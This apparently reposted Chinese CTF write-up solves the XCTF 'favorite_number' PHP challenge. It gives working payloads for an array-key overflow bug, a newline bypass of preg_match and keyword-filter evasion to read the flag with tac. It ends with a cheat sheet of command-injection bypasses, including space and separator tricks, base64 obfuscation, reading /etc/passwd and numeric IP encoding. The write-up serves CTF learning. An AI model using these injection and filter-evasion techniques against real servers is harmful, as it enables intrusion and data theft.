IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [xctf]favorite_number 命令执行&&数组key溢出漏洞&&绕过pregmatch -> 正文阅读

[PHP知识库][xctf]favorite_number 命令执行&&数组key溢出漏洞&&绕过pregmatch

favorite_number

白盒有源码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}

post两个变量:stuff数组和num字符串
首先进行了个数组的比较
要使stuff数组和array相等但是0号元素却和array的零号元素admin不等
这怎么可能????
但是看到特地标注了php5.5.9
看来是php版本的漏洞了
再网上查了下
漏洞报告

https://bugs.php.net/bug.php?id=69892

构造stuff[4294967296]=admin&stuff[1]=user&num=123

if (preg_match("/^\d+$/im",$num)){

num中要全是数字,但是有/m多行匹配
用%0a换行符绕过

stuff[4294967296]=admin&stuff[1]=user&num=123%0a

先匹配第一行123,满足,再匹配第二行
最后

!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)

过滤掉了flag和cat
用全局变量绕过

stuff[4294967296]=admin&stuff[1]=user&num=123%0a a=f;d=ag;c=l;tac /$a$c$d

总结

:1:用hackbar提交post请求会进行url编码最好用burp
2:命令执行知识:

php中执行系统命令
system()
passthru()
exec()
shell_exec()
echo @`whoami`;
ob_start()
system()
mail+LD_PRELOAD

空格${IFS}$IFS$9%09

终止符%00 %20# %0a  0x00 /00

分隔符  ; & |   echo 123%0a

敏感字符绕过
cat
==
a=c;b=a;c=t;$a$b$c
==
echo 'cat'|base64
`echo 'bHMK'|base64 -d`
cat$x /etc/passwd
cat /etc/pass'w'd

文件构造
1>1    空文件
ls>1
网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-24 07:45:09  更:2021-11-24 07:45:34 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:38:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码